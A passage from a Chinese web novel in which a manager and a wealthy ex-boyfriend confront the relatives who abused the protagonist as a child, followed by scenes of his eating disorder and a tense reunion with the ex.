甄甄先是怔怔了好半天,回过神后,才像一个被冤枉后真相大白的小孩子那样,委屈地嚎啕大哭。 戴维听得特难受,抽着纸给他擦眼泪擤鼻涕,轻轻拍着背安慰。 他哭过之后,整个人很明显地轻松了许多,眼睛里也不再那么忧郁,发自内心地对方寸行和戴维说了谢谢。 甄甄冷静后,想起来一些细节,问道:“刚刚戴维说甄波没钱请水军,可从你给他三十万到现在,满打满算也才两个月,他不是说要拿去结婚付彩礼吗?怎么会花得这么快?” 方寸行提到这个烂人,便忍不住冷哼:“彩礼?呵,甄波谈的女朋友早就因为他赌博分手了,这就是他找亲戚到处借钱的借口而已。他把身边亲友全都借了一圈,拿去网赌想翻身,反而欠得更多,走投无路就盯上了你。” 甄甄也不信甄波的借口,他也往这些方面想过,但当求证得到答案后,还是为甄波的无耻而感到震惊。 方寸行语气缓和道:“这些事你不用管,后续法务部会处理。你最近状态不好,回去多休息休息,等调整好了再投入工作也不迟。” 戴维也附和道:“就是,你的片酬公司也要抽一半走,现在就当反向薅一下资本家羊毛好了!” 甄甄被他逗得噗嗤一声笑出来,方寸行默默珍惜着这得之不易的笑容。 他悄无声息地退出化妆间,打开手机,阿曼达两分钟前发来一条信息。 他冷着脸,去了会客室。 一看见他进来,贺越邱便立刻起身:“甄甄呢?” 方寸行气笑般:“你怎么有脸问我。” 贺越邱懒得计较,只问:“你发给我的那些东西到底是怎么回事,又是勒索又是报警回执,是谁这么大胆子敢动我的人?!” 方寸行讥讽道:“贺总好大的威风——那甄甄被他的堂兄敲诈勒索,担惊受怕的时候你在哪儿?忙着计划怎么让自己的兄弟爱上自己的老婆吗?” “方寸行!”贺越邱气极,吼道:“我是来处理正事的,不是来跟你吵架的!” “这会儿又不爱听了?”方寸行连连冷笑,“当初做的时候怎么没想过?” 贺越邱压着火气,警告道:“我再给你最后一次机会,不能好好说话那就别说了。” 方寸行笑意一收,冷冰冰地看着他,半响,转身说:“你要想知道,可以亲自去问。” 贺越邱猛地锤了下长桌,玻璃杯震颤几下,荡出来一圈水。 方寸行脚步未停。 他低骂一句该死,跟了上去。 在车上,贺越邱抱着手臂,一副不耐烦的样子:“到底要去哪儿?” 方寸行专心拨着方向盘,头也不抬:“警察局。” 贺越邱差点就要爆出粗口,忍了又忍,直到下车,才终于狠狠扯过车门,“砰”地一声巨响,把气都洒了出去。 方寸行只是瞥了一眼,淡声道:“检修费算在违约金里,到时候一起打我公司账上。” 贺越邱这次没吭声,甄甄这段时间的状态他都看在眼里,在会议室等人的时候就听说了片场的事。甄甄拒绝拍摄时有多害怕,他就有多心疼。 贺越邱知道这是自己的问题,只要能让甄甄好起来,别说是双倍违约金,哪怕十倍,他眼睛都不会眨一下。 接待的警察把两人迎进招待室,说了句“稍等”,又出去了。 “你现在能告诉我那个叫甄波的到底是怎么回事了吧?他竟然敢勒索甄甄,我一定不会放过他。”贺越邱阴恻恻地说。 方寸行正要开口,这时,刚刚的警察带着一对中年夫妻回来。他眼神一冷,改口道:“人来了。那些事光看资料怎么够?直接问当事人不是更好吗?” 那对夫妻似乎不习惯这样的场景,有点怯懦地互相看一眼,抖得跟个鹌鹑似的。贺越邱皱着眉,不明白方寸行到底想干什么。 方寸行却几乎要压不住怒火,只要一想到这对看起来人模人样的老东西背地里有多丧尽天良,他便连带着把贺越邱一起恨上,近乎咬牙切齿道:“这就是甄波的父母,男的叫甄洪,女的叫张翠,也是甄甄在这个世上仅剩的血亲,是他的叔婶。你要不要问问,在甄波向亲戚借钱还赌债之前,他欠下来的钱是靠什么还的?” 他的话掷地有声,吓得那对中年夫妻一激灵。贺越邱本来一头雾水,但在仔细观察他们的反应之后,也渐渐发现了端倪。 他沉下脸,声音雄浑:“到底怎么回事?” 夫妻俩对视一眼,都没敢看贺越邱,男的被推出来,哆哆嗦嗦道:“卖、卖了房子。” 方寸行猛地提高了音量:“说清楚点!” 甄洪被他一吓,一秃噜全交代了:“我、我哥嫂留下来的房子,就卖了四十万,都拿给我家里那不争气的东西还赌债了。你们、你们是他的债主?你们找他去吧!我实在没钱了!连棺材本都被这不成器的输光了,你们就是把我两口子卖了,也替他还不了一分钱!真没钱了!” 警察适时道:“人家都是企业家,跟灰色产业不沾边。再说法治社会,怎么把你们卖了?不要乱说!” 方寸行冷哼一声:“可惜法治社会,管不住道德败坏。” 贺越邱听他的话,再看这对夫妻的表现,心里早就明白了三分。他的脸色较之前更为难看,一双棕眼像觅食的猛兽,紧紧扫视着面前二人。 贺越邱反问道:“你们哥嫂……那就是甄甄的父母。他们留下来的房子,跟你们有什么关系?给自己儿子还债,不卖自己的房子,反倒要卖亲侄子的房子?” 甄洪一惊:“你们认识甄甄?” 贺越邱心说何止认识。 甄洪有点怵他,结结巴巴地说:“因为、因为当初我哥嫂回家过年的路上出意外,临终前把甄甄托付给我们夫妻俩,作为报酬,就把房子过户到我们名下了……” 不等他说完,方寸行便厉声道:“撒谎!那套房子是他们留给甄甄的!他们在临终前也确实给你们留了一笔钱,作为恳求你们抚养甄甄的报酬。可你们嫌不够,带着只有六岁的甄甄去肇事司机家索要赔偿金,代替受害者未成年的家属签了谅解书,最后肇事司机只坐了三年牢,而你们拿到的遗产和赔偿金,加起来五十万,几乎没有一分钱花在甄甄身上,还反过来抢走了他名下唯一的财产!” 这些话一石激起千层浪,如重锤般狠狠地砸在贺越邱胸口,顿时升起一股血肉模糊的钝痛。他终于知道方寸行此行的目的,他是故意要让自己知道这些,作为他曾经忽略甄甄遭遇的报复。 血丝爬上贺越邱的眼睛,他愤怒到极点,宛如罗刹般死死地盯着那对夫妻,几乎要盯穿他们那具善于伪装的皮囊。 方寸行强忍心痛,一字一句,全盘托出:“据我所知,甄甄父母离世后,你们一家三口就搬进了新房。你们夫妻霸占了主卧,甄波睡带窗的大房间,留给甄甄的只有一个狭小的杂货间,除了放下他的床之外还挤了一个狗笼,他从六岁到十八岁,都是和狗睡在一起的!甄波连高中都考不上,你们花大价钱把他送进私立高中,却连甄甄义务教育阶段的班费都要拖欠,除此之外更是动辄打骂,寒冬腊月把他赶到楼道罚站……” 方寸行几乎要说不下去,那份资料他只看到一半便忍不住撕了个粉碎,那几天甚至只要一闭上眼,他就会幻想出一个小时候被虐待的甄甄,躲在角落里抱着自己哭。他想要过去抱抱他,但刚刚伸出手,小甄甄就捂住头,瑟瑟发抖地缩成一团。 他只要想想,心就碎成无数片,那真正经历过这一切的甄甄呢?谁又能去拼凑好他破碎的童年? 方寸行竭力压下满腔怒意,恨声道:“想要查到你们私底下对甄甄都做了什么不可能,但人只要活在社会中就一定会留下痕迹,你们的邻居、同事,乃至街委、学校老师、菜市场摊贩……他们提起你们的所作所为,没有一个人不戳脊梁骨,因为但凡还存有一丁点良心的人,都会看不下去!” 那对夫妻竟还忍不住替自己争辩,女的尖声说:“千不对万不对,我们也把甄甄养大了!没让他饿死!俗话说生恩不如养恩大,他自己都没说什么,你们又是谁,在这里胡言乱语!” 贺越邱怒吼道:“闭嘴!!!!” 他竟不顾身在警局,头顶有监控,旁边还有警察,抄起实木凳子便朝着两人站的地方砸去。夫妻二人吓得腿软,扑通一下坐在地上,刚刚好躲过,不然光这一下,他们的脑袋就要开花! 贺越邱急促地喘着气,眼睛充血,浑身戾气地冲过去,抬脚便朝着男人头上猛踹。警察终于反应过来了,忙扑上去拉住:“冷静!不要打人!” 但他居然根本拉不住!他一个一米八、警校毕业的年轻力壮大小伙,居然拉不住! 方寸行这会儿也回过神了,他恨这对夫妻是一回事,但真要打出个好歹,贺越邱倒是无所谓,到时候又牵连到甄甄怎么办? 他也冲上去,抱住贺越邱的腰,只听到一声怒吼:“放开!!!!” 方寸行鲜少骂脏:“你他妈疯了!!!” 眼见两个人都快拉不住他,警察忙传呼同事,又来了两个膀大腰圆的大高个子,四个青壮年男人才堪堪控制住这头暴怒的野兽。 贺越邱被制住时还在挣扎,额头青筋暴起,眼睛朝着那躺在地上呻/吟的男人,眼神中爆发的恨意几乎要生吞活剥了他。 张翠早就被吓得缩在一边说不出话,方寸行皱眉,对贺越邱说:“你要是还有理智,就该趁这时候问个一清二楚。暴力解决不了任何问题,我以为你在甄甄身上就明白了,把劲留在他们儿子身上才是正经事。” 贺越邱稍微找回了一些理智,警察们见状也放开了他,先把躺地上那个抬出去找医生包扎了。 原来那个警察还留在这儿,讪讪道:“这俩确实挺不是人的,但也不能随便打人嘛,有什么事,坐下来好好说。” 贺越邱本来正常了,闻言又差点犯病:“今儿要不是在这里,他早就没命了!” 警察擦着汗,安慰自己此乃法外狂徒之发言,不要计较,不要计较。 方寸行冷声道:“够了,问正事。” 张翠都吓傻了,不敢再像老公那样嘴硬,把方寸行没调查到的,只有他们一家人知道的事,也全都说了。 “甄、甄甄小时候,他爸妈都是,都是管他叫瓦瓦的,因为他胖乎乎的,这小名看起来很像他。邻居都说他长得白白胖胖的有福气,说我家甄波跟个黑猴一样又淘又皮,所以我气不过,总在吃饭的时候骂他,死胖子、像头猪、吃不饱的狗什么的……他多夹菜我就拧他耳朵……他又比甄波聪明,成绩又好,每次一发卷子回来我看了就来气,手头有什么就拿什么敲他脑袋……” “有一回家里买了鸡腿,我做饭的时候他一直咬着手盯着我看,把我看烦了,两只鸡腿都给甄波。结果甄波又吃不完,剩了半个丢出去喂狗,沾了灰的狗都不吃,他偏要偷偷捡回来,我男人下班回来不知道,以为他偷鸡腿吃,一气之下就把他关进厕所里让他好好反省……” 那天晚上又打雷又刮风下雨,她起来解手,吓得一惊一乍,走近厕所听到里面小瓦瓦在哭,火气腾一下就上来了,踹开门就看到他踮着脚边哭边舔洗手台上的水。 “你干什么!脏死了!”她叫嚷道。 小瓦瓦哭着说:“婶婶,我好渴,我接不到水,我以后不偷吃了,不要把我关在厕所里,求求你,好黑,我好怕。”—— 作者有话说:七夕不快乐[爆哭] 我的可怜小狗宝宝[爆哭] 第46章 第 46 章 以牙还牙。 到最后警察都听不下去了, 忍不住骂了句一家子都是畜生,他当时就该再拦晚一点的,怎么不让那男的被多踹几脚呢? 贺越邱更是恨不能亲手杀了他们, 张翠看他眼睛发红, 吓得连连后退, 话都说不利索。 方寸行挡在贺越邱和张翠中间, 天知道他有多想亲自动手, 可仅仅只是打一顿根本无法抵平甄甄这么多年来受到的伤害,至少要让这些恶人家破人亡,才算勉强报复回来。 但他深知即便如此,也只不过是迟来的补偿。如果甄甄有得选, 他一定从最开始就不愿意和这家人有一丝一毫的牵连。 方寸行压着怒火, 对贺越邱低声道:“你知道该怎么做。” 贺越邱从咬紧的牙关中硬生生挤出一声冷笑, 视线越过他的肩膀, 像把淬毒的刀,死死地钉在张翠的脸上。 半响,贺越邱才松口, 对警察说:“行个方便,让我们单独跟她聊聊。” 警察犹豫了会儿, 直到方寸行也说:“你让他在这里处理,公事公办,不坏规矩。不然他耐心耗没了, 那个时候就不一定好办了。” 警察咬咬牙, 想着还有监控,便道:“好吧。注意点儿分寸。 ” 他一走,张翠更是抖成筛子,尤其是看到贺越邱扯过椅子, 更是连声求饶。 贺越邱嗤笑着坐下:“我不打女人。现在,谈谈正事。” 话是这么说,但一看到方寸行走到监控前挡住,她哪能不慌,腿软得要靠着墙才勉强没瘫在地上,恐惧而又讨好地说:“谈、谈什么?” “你儿子敲诈了甄甄三十万,还在网上造谣他,数罪并罚一定会进去。轻则三五年,重则十几年,你们确定要眼睁睁地看着自己唯一的儿子葬送前途?” 她一开始慌乱,但到后面又嘴硬道:“不、不可能!我们咨询过律师,甄波不是直接从甄甄那里要到钱的,就算真的构成犯罪,他最多坐两年牢就出来了。反正他爱赌,在外面也是到处欠钱,那还不如让他在里面,就当戒赌了!你别想威胁我们!” 贺越邱翘起二郎腿,姿态放松,居高临下地说:“是吗?那么,开设赌场要判多少年,你也问过律师?” 她的脸吓得死白,尖叫道:“你胡说八道!我家甄波只是赌牌!他是被那些托骗了!” 贺越邱笑道:“这可不是你说了算。” 方寸行适时补充:“开设赌场罪按现在的判定,可不仅仅只有传统、营业性的为赌博提供场所,也包括在网络上参与建立赌博网站、或者担任代理、拉人头投注等行为。从重可以顶格判到十年。” 十年?! 那要是儿子坐十年牢再出来,不是都快四十了,还怎么找工作,怎么结婚,她和老公后半辈子岂不是要膝下无人了?! 张翠眼前一黑,瘫在地上。 贺越邱眼神冰冷,这还远远不够。 他皮笑肉不笑,道:“这只是他能判的年限。进去之后,如果劣性不改,和人斗殴,打伤同监,藐视狱警……我不妨直白点告诉你,只要我想,他进去之后不关个十几二十年,就别想出来!” 低沉的男声犹如惊雷,猛地劈下,彻底击溃了张翠的心理防线。 连十年她都不敢去想,更何况二十年,那她这辈子还能等到儿子出狱吗?会不会她死了都见不到最后一面? 她彻底崩溃了,哭嚎着甄波的名字,又声泪俱下地哀求:“贺总,贺总你大人有大量,高抬贵手放过甄波吧!以前的事是我们做错了,我们不该虐待甄甄,可我们和甄波毕竟也是甄甄在这个世上唯一的亲人了,你看在他的份上也原谅我们一次吧!” 贺越邱怒吼道:“闭嘴!!你还有脸提甄甄,你如果真把他当做亲人,真想过他在这个世上就只剩你们了,就不会虐待他十几年!我没有把你们一起弄进去,就已经算我仁慈了!” 只要一想到还没有洗手台高的小甄甄被关在厕所里,想到他或许就是这样留下怕黑的心理阴影,他几乎又要控制不住自己,额头青筋突突直跳。 他何止是想杀了这家人,他更想杀了自己! 方寸行何尝不愤怒,冷酷道:“你少提几句甄甄,甄波恐怕还能少坐几年牢!” 张翠顿时不敢再拿甄甄说事,只一个劲地痛哭流涕,求两人饶过甄波。 贺越邱闭了闭眼,竭力压下心中的暴戾,但一张口,仍旧是威严的怒意,吓得她六神无主。 “想让你儿子多坐几年牢,倒也简单。谅解书不陌生吧?第一,让甄波把敲诈甄甄的30万全部吐出来,方寸行就可以代表公司方替艺人出具谅解书;第二,把甄甄父母留给他的那套房子还回来;第三,打欠条,把当年的赔偿金悉数奉还。这三点你们全都能做到,那么,我就可以勉强考虑放过甄波,法律怎么判,他就怎么坐牢。如果有任何一点做不到,那就别怪我赶尽杀绝了。” 提到“谅解书”三个字时,贺越邱和方寸行都是心里一痛,脑海中浮现出小甄甄被无良的叔婶带着,连动画片都看不懂的年纪,就要直面杀死他父母的凶手,还要被迫同意签字,他们就恨不得活剐了眼前的女人。 “可那套房子已经卖掉了,而且我和老公为了给甄波还赌债,已经把家里能用的钱全都花光了,真的没有一分钱了啊!” 贺越邱冷笑道:“这不关我的事。毕竟,没有任何人按着甄波的手逼他去赌博,逼他去勒索甄甄。要怪,就怪你们当初为什么要虐待哥嫂留下的骨肉,现在遭了这现世报,养出来一个敲骨吸髓的好儿子。” 这番话简直比任何威胁都更能击垮一个母亲,哪怕她人品败坏,但被贺越邱这样戳着心窝,也还是痛不欲生,放声大哭起来。 贺越邱不为所动,冷漠道:“你们名下不是还有一套老房子,和给甄波结婚准备的新房吗?全都卖掉也能凑出来七八十万,还完甄甄的三十万,剩下的钱刚好还够把他父母留给他的那套房子买回来。至于那笔赔偿金,不能一次性赔付,那就分期偿还,一个月还五千,你们夫妻俩再干个八年十年,不就还清了?” 张翠一时都哭不出声了,她没想到他们居然把自己手里还有多少财产都摸得一清二楚,这三条要求,明摆着就是要他们把这些年靠吃哥嫂遗产和甄甄捞到的钱都吐出来! 可那是她和老公辛辛苦苦攒了一辈子的家底啊!已经被甄波败掉了几十万,现在要是再把房子全都卖了,那他们就彻底无家可归了!他们俩今年都五十了,还能干什么正经工作?只能去做最累的工地,等把钱全部还完,那时候他们半截身子都入土了,累死累活一辈子什么都没剩下,还怎么活啊? 她活不下去了! 她扯着衣服摔摔打打地哭骂着老天爷,一会儿又骂甄波是个千年的讨债精,一会儿又骂老公当初怎么就要鬼迷心窍把哥嫂给吃干抹净,骂狠了连自己也骂进去了,一张肥胖的脸上涕泗横流,撒泼打滚,真要马上气死在调解室了。 贺越邱和方寸行冷眼旁观,心中没有丝毫波动。这种手段实在低劣,或许能骗得过烂好心的人,但对他们这样本身就极其缺乏同理心的人而言,无异于白费口舌。 张翠哭到一半还掀起眼皮悄悄去看两人的反应,直到她实在没力气再嚎,贺越邱才说:“考虑清楚没有?” 她彻底绝望了。说到底,他们这一家子就是个一戳就破的纸老虎,也就只能仗着人多势众,欺负一下孤苦无依的小孩子,根本就没有任何能力可以与贺越邱抗衡。 如果换做甄洪在这儿,恐怕只会无赖地说那就让甄波去坐牢,坐到死更好,但偏偏留下来谈判的是张翠,她根本没办法对儿子见死不救,即便知道这几乎就是拿倾家荡产去换甄波少坐几年牢,她也不得不做这个决定。 谈妥条件,拿到签字画押的欠条后,方寸行签了谅解书,张翠看着白纸黑字,哭个没完。 她或许也想起了曾经强拉着小甄甄去肇事司机家拿谅解书换赔偿金的一幕,再联想到现在,要搭上一辈子的积蓄来换儿子少坐几年牢,不管以后她会不会为这个决定而后悔,至少现在,她是真的后悔当初为什么要那么贪心,这报应来得也太快了。 从警察局出来后,阳光洒在方寸行肩上,他却感受不到一丝暖意。 “你其实知道甄波根本判不了那么多年,且不说他的造谣罪缺少传播条件,达不到立案标准,其实连他的勒索行为在法律判定上都很模糊。你纯粹就是吓唬张翠的。“ 贺越邱抽着烟,声音低沉:“吓唬?随你怎么以为吧。反正在她没把欠账彻底还清楚之前,她儿子永远别想出来。” 方寸行说:”这家人本来就是光脚的,你就不怕他们一回老家就泥牛入海,找不着人了?“”找不着?他们跑得了,牢里那个可跑不了。“ 贺越邱冷笑几声,不知想到什么,捏着烟头狠狠吸了一口,目露凶光:“牢里出不来的人多得是,随便打声招呼,那畜生就得哭着喊着求他爹妈快点还钱,让他出去了。” “他们要真是扛不住了,宁愿不要儿子——你以为,我就没办法把那些钱和那套房子要回来了吗?” 贺越邱把烟蒂按灭在垃圾桶上,声音透着狠厉:“我只是想多给甄甄积点德,否则你以为我会耐着性子跟他们谈条件。可笑。” 方寸行看向贺越邱,再一次刷新对他的认识。 可他罕见地没有指责贺越邱不对。 有些时候,也只有以牙还牙,才能偿还一二—— 作者有话说:这句话也送给野牛,希望你做好准备[笑哭] 第47章 第 47 章 “滚出去!我不想看到你…… 甄甄情绪平复之后, 戴维就把他送回了公寓,路上顺手买了个草莓味的小蛋糕。 “人在伤心的时候就应该多吃点甜食,能促进多巴胺的分泌。“戴维说着, 颇具仪式感地拆开包装, 这种小甜点没有配蜡烛, 他就拿打火机假装, 递到甄甄面前, 让他吹灭。 跳跃的明黄火焰映入甄甄眼底,却照不亮那抹暗淡的琥珀。他自然而然地想起了贺越邱,恋爱时恨不得将天底下所有好吃的都端到他面前,他一生气就去做甜点哄人, 哪怕他对这些东西实在提不起兴趣, 但里面掺杂的爱意和珍重, 已经足够令人动容。 作为一个上位者, 贺越邱把所有的耐心和宠爱全部给了他。可当甜蜜的糖衣被撕开后,同样也是这个人,又用那双疼爱过他、呵护过他的手, 亲自毁掉了他们之间的一切。 甄甄的心脏又一寸一寸地疼起来,那一晚的撕心裂肺已经消耗了他太多的心气, 他再也感受不到那种极端的情绪,但连绵的余痛仍在折磨着他,并不剧烈, 而是像绵绵不断的秋雨, 从蒙上一层冷清的雾色中透出来丝丝缕缕的寒意,无声地钻进皮肤里,侵蚀着骨骼。 戴维敏锐地感觉到甄甄突然失落下去的心情,他有点儿手足无措, 还没想好该怎么补救,甄甄强颜欢笑地就着他叉起来的那块,轻轻咬了一口。 他的舌尖苦涩麻木,但仍笑着说:“……好吃。” 戴维顿时高兴起来,又挖了一大勺,甄甄分了三口吃掉。 他吞咽得其实很艰难,绵密细滑的奶油在他口中好像锋利的刀片一样,每一次都需要很用力地才能推动着吞下去。 戴维发现了这一点,他也知道了甄甄有厌食症,但他觉得人只要能愿意吃东西就代表着病快好了,所以他特高兴,就这么把剩下的都喂给甄甄,吃得干干净净。 戴维激动地原地跳起来,猴子一样呜呜乱叫,成就感堪比他在老家端午赛龙舟时在船头打鼓。 甄甄看他这么高兴,也不由自主地笑起来,下一刻便忽然皱起眉头,扔下一句“我去趟厕所”就匆匆起身离开。 戴维没注意到擦肩而过时甄甄苍白的脸色,他现在只想把这个好消息分享给全世界,第一个当然就是方寸行。 电话刚接通,戴维就迫不及待道:“喂表哥,我同你讲,甄甄今天吃光了一个四寸蛋糕!吃光了哦!” 方寸行还在开车,后排坐了个阴魂不散的贺越邱,闻言一直皱着的眉头舒展开来:“是吗?做得不错,下个月奖金加倍。” “Yes!有我李佳航在,甄甄一定变猪猪!” 话音未落,突然传出来几声刺耳的干呕,紧接便是一阵慌乱的抽水声,听见的三人都是脸色一变,戴维连电话都来不及挂断,径直冲向卫生间,看清画面那一刻不由得瞳孔一缩—— “你……” 甄甄左手撑着水箱,右手抠着喉咙,紧紧闭着眼睛,脸上糊满了泪水。他听到声音转头一看,发现是戴维后,手忙脚乱地按着抽水键钮,漩涡卷着胃液稀释后的淡粉色奶油冲入进污口。 戴维愣了很久,攥着的手机发出幽幽荧光。 甄甄若无其事地走到盥洗池,一拧开旋钮,水龙头就哗哗地流出清水,他弯下腰,背部的蝴蝶骨便清棱棱地突起来,手肘随着洗脸的动作,磕在洗手台的岩面上,很快就青了一块儿。 戴维的目光转移到镜子里,直愣愣的看着自己和甄甄,从前每一次忽略掉的水声都在这一刻得到答案,他突然就知道了这么久以来甄甄从来就没有正常吃过饭,哪怕是自以为监督着他吃下的那一顿,也都在他没注意到的角落里上演着一出欺骗的把戏。 甄甄洗完脸,关掉水龙头,甩着手,竭力装作平静地样子走出去,却被戴维猛地抓住,浑身猛地颤抖了一下。 他回避着戴维的视线,仍想着瞒过去,努力挤出一个寻常的微笑来:“怎么啦?我就是胃不舒服,没什么的,你……” 但说到后面,他自己就说不下去了,眼泪扑簌簌地流下来,紧紧地咬着嘴唇,也还是尝到了咸涩的味道。 戴维盯着他因为过度刺激而发红的眼睛,自己也跟着流下眼泪,他从来也没有像这样难过,比当时闯进病房时还要难过,连声音都是颤抖的:“你、为什么……” 甄甄瞬间崩溃了,哭得语无伦次:“对不起,对不起……我不是故意的,我真的吃不下去,我也很想吃东西,我不想让你担心,对不起、对不起……” 为什么要道歉?为什么要让一个从来没做过错事的人说对不起?这些话宛如刀子般捅进戴维的心脏,让他痛得快要不能呼吸。他急迫地想要把甄甄抱进怀里,告诉他,安慰他,你没有做错,不要说对不起。 可是……戴维泪眼朦胧地看着甄甄,现在的他只给他一种,好像他只要稍微一用点力,就会把这个人捏碎的错觉。 戴维小心翼翼地擦掉甄甄的眼泪,把他往自己这边带,两个人的额头挨到一块儿,就像两只挤在一起躲雨的小狗。 戴维笑起来,很丑:“不要哭……不要哭啊甄甄bb,你知道我李佳航,最怕看到靓女哭的嘛……” 甄甄努力地想要挤出一个微笑,他也知道自己笑起来最好看了,他也不想要朋友为自己担心,可他稍微一动唇角,眼泪就大滴大滴地往下掉,一开口,声音就哽咽得听不清楚本意。 “我也不知道为什么、为什么这么难过……对不起……李佳航……对不起……” “没有对不起,没有。吃不下东西不是你的错,失恋不是你的错……不要再说对不起了,也不要再这样……” 不要再这样,为一个人这么难过。 甄甄哭累后,戴维把他抱到卧室里休息,调好空调温度,盖上薄被,坐在床边静静地守了很久,等他安稳下来,才悄悄离开。 他哭得太厉害,连睡梦中也会时不时抽泣,那道湿润的泪痕,好像永远也没有干过。 迷迷糊糊之间,一道干燥的温度覆上脸颊,用带着茧子的指腹,轻轻擦掉眼泪。 一个又一个滚烫地吻落在浅色的唇瓣上,迫使睡中的人为了呼吸而微微张开,就被抓住机会撬开,渡进微甜的糖水。 随着绵长而甘甜的吻,甄甄苍白的两颊渐渐变得红润,嘴唇也洇出几分水色,让他看起来没有那样憔悴。 晚上十一二点的时候,甄甄醒了,意外地没有感受到像以前吐过之后的灼烧感。 他懵懵地捂着肚子,干坐了一会儿,忽然抽抽鼻子,闻到一股清淡的香味儿。 甄甄愣了下,掀开被子,走到餐厅,灯开着,暖融融的,桌上放着一碗清汤小面,还卧了一个煎得焦黄的鸡蛋。 他几乎一眼就认出来这是谁的手笔,下一秒密码门传出解锁成功的播报声,半个月不见的贺越邱拎着一袋生活用品,轻车熟路地换好拖鞋进门。 男人抬头,看见呆站着的甄甄,也没意外,低声道:“先吃饭。” 他熟得仿佛是在自己家里,进浴室把新的洗发水和沐浴露都放好,顺手打扫完卫生。出来一看,甄甄还站在那儿,抓着桌沿,死死地盯着这边。 贺越邱脱掉外套,搭在椅背上,顺势坐在甄甄的对面。 甄甄的视线随着他而动:“你怎么会在这儿?” “不合胃口?” 甄甄激动地重复:“我问你怎么会在这儿!!” 他的声音一下就拔高,几乎要破音。 贺越邱眉头都没皱,语气平静:“你不是早就发现我经常来吗?” 蟑螂躲在暗地里是一回事,光明正大地出现又是一回事,直到这一刻甄甄才发现他根本就无法坦然面对贺越邱,也根本没有做好和他再次见面的准备! “滚出去!这是我家,我不想看见你!” 贺越邱的愤怒今天在警察局就用完了,不会再被轻易地激怒,保持清醒的大脑让他同时意识到,这句下意识吐出来的话比起驱赶,更像是甄甄从那晚之后就留下来的后遗症,是他潜意识里的应激。 贺越邱愧疚道:“对不起,那晚……我不应该对你做出那些事。我知道你现在还很生气,也很恨我,不会原谅我,我做这些也不是为了让你立刻接受我,只是想让你别那么难过。” 甄甄握紧拳头,完全呈现出一种防御性姿势:“我不会再被你的花言巧语欺骗,也不需要你这种擅自登门的关心。我唯一能接受你为我做的事,就是别再随意地出现在我的生活里。” 贺越邱心痛道:“不要这么说,甄甄,不要把我对你的喜欢,贬低得这样一文不值。” 甄甄马上又要说话,贺越邱不想再从他嘴里听到那些伤人心的字句,他飞快地从外套里掏出来几张照片,才刚递过去,就被甄甄反应激烈地挥手打开。 手腕一痛,照片四散飞落,贺越邱差点要忍不住,可转眼就看到甄甄满脸痛苦地捂住脸发抖,他才又想起来对现在的甄甄而言,无论“镜头”,还是“照片”,都是无比敏感的东西。 后悔居上,很快就压过不解和生气,贺越邱忙把照片都捡起来,急切地解释道:“不是那些……是合同,你叔婶签字同意归还赔偿金和那套房子,还有你被勒索的那三十万的合同!我今天一整天都在忙这件事,一落实就想告诉你这个好消息。” 他说着,又为甄甄不分青红皂白的误解而难受:“我在你眼里,难道就是一个彻头彻尾的恶人吗?”—— 作者有话说:这才哪到哪[哦哦哦] 第48章 第 48 章 我们两不相欠。 听到贺越邱解释那一刻, 甄甄冻住的血液重新开始流动,他低下头,愣愣地看向桌上散落的照片。 甄甄只觉得好荒唐, 困扰他十几年的梦魇, 如贺越邱之流, 轻轻一挥手就能把这片阴云拂开, 他就是这么有本事, 只手遮天,所以也能轻松地找到他住在哪儿,一次又一次闯进他努力维持平静的生活。 甄甄咬着下唇,竭力忍住涩意, 颤抖的声线却完全无法伪装:“你现在来做这些……又有什么用?” “我, 我以前真的不知道, 我从来没想过你会遭遇那些……” 贺越邱被甄甄眼里的泪光烫了一下, 哑口无言,让他想起离开警察局时,方寸行也质问过他差不多的话, 而他一样答不上来。 “如果我没有留意甄波,提防着这一家子, 光靠甄甄一个人面对他们的骚扰,他该怎么扛下来?你想没想过一旦出事,就是无法挽回的境地。难道发生了这件事, 你还觉得自己很爱甄甄?” 他当时是怎么回的?他一面觉得方寸行的话戳到了他的心窝子, 一面又不肯承认,争辩道:“他被欺负了只要告诉我,我一定会替他撑腰!我要是不爱他,会为了一个不相干的人费心费力?方寸行, 你挑拨离间到我面前了是吧!” 方寸行冷笑道:“一定要他主动告诉你,无所不能的贺大少爷,才能意识到自己的枕边人被欺负了?你平时哪怕是投资个小项目也要做背调吧?说句难听的,到我们这种阶级,谈恋爱结婚恨不得把对象过往生活连每天吃了几碗饭都查得一清二楚,你居然就真的从不在乎他的过去,我是该夸你完全信任他,还是你根本就不在意!” 贺越邱这一次无话可说,连他自己都觉得自己的解释多单薄,他初见到甄甄,就觉得这是一个机灵活泼、又柔软善良的小男生,那双琥珀色的,糖果一样的眼睛,一看就像是在爱里成长起来的,和他有着本质的不同。 所以即便后来知道他父母早亡,他也理所当然地以为,抚养甄甄的家庭也应该是和谐有爱的,否则不足以培养出甄甄这样招人喜欢的孩子。 谁能够想到,偏偏甄甄是从淤泥里开出来的荷花,他的优秀是天生的,在那样恶劣的环境里,都还能把自己照顾得很好,还愿意毫无保留地以真诚待人。 贺越邱的思绪慢慢回笼,头顶晶莹的吊灯和甄甄闪着水光的眼睛重合,他握紧拳头:“……我知道,这些对你来说太迟了。是我的错,没有更早一点遇到你,保护好你,如果早知道……” 在调解室知道一切后,贺越邱就后悔,他为什么没能从在一开始就问清楚,糊涂到让甄甄和他在一起这么久,都还在因为那群白眼狼亲戚担惊受怕。 作为一个恋人,他实在太不称职。 贺越邱不再逃避甄甄的目光,他直勾勾地迎上去,真诚道:“甄甄,也许还不晚。该是你的,一分一厘,我都要帮你找回来,从今以后,包括我自己在内,我不会再让任何人欺负你,我真的想为你做一些事。” 泪水渐渐蓄满眼眶,逼出湿润的水红色,却完全不是因为感动——如果他们还在热恋期,那一定是——可现在,就像贺越邱说的那样,对甄甄而言已经太迟了。 无论是对甄家人的惩罚,还是来自贺越邱的回护,都来得不是时候。 甄甄从小就想要拿回属于自己那一份遗产,但在他的计划里,哪怕需要很多年的努力,甚至可能拿不回来,他都从来没考虑过要让贺越邱帮忙。 他也有自己的尊严,不想搞得跟包养一样,拿身体去换金主的怜悯。这和被强迫受到的伤害不一样,是另一种难堪。 恋爱时甄甄都是这么想的,何况经历了那么惨烈的分手。以前贺越邱都没有在乎过自己的过去,现在又花费功夫做这一切,他想要得到什么,想要靠这些换回什么? 但无论是什么,甄甄都不能再给,没办法再给了。 “我不需要。”甄甄决绝地说,“我只拿回来我被勒索的三十万,其他东西,你不用给我。我知道那些比起你的身家不值一提,就当还你这些年花在我身上的钱。我们从此以后算得清清楚楚,两不相欠!” 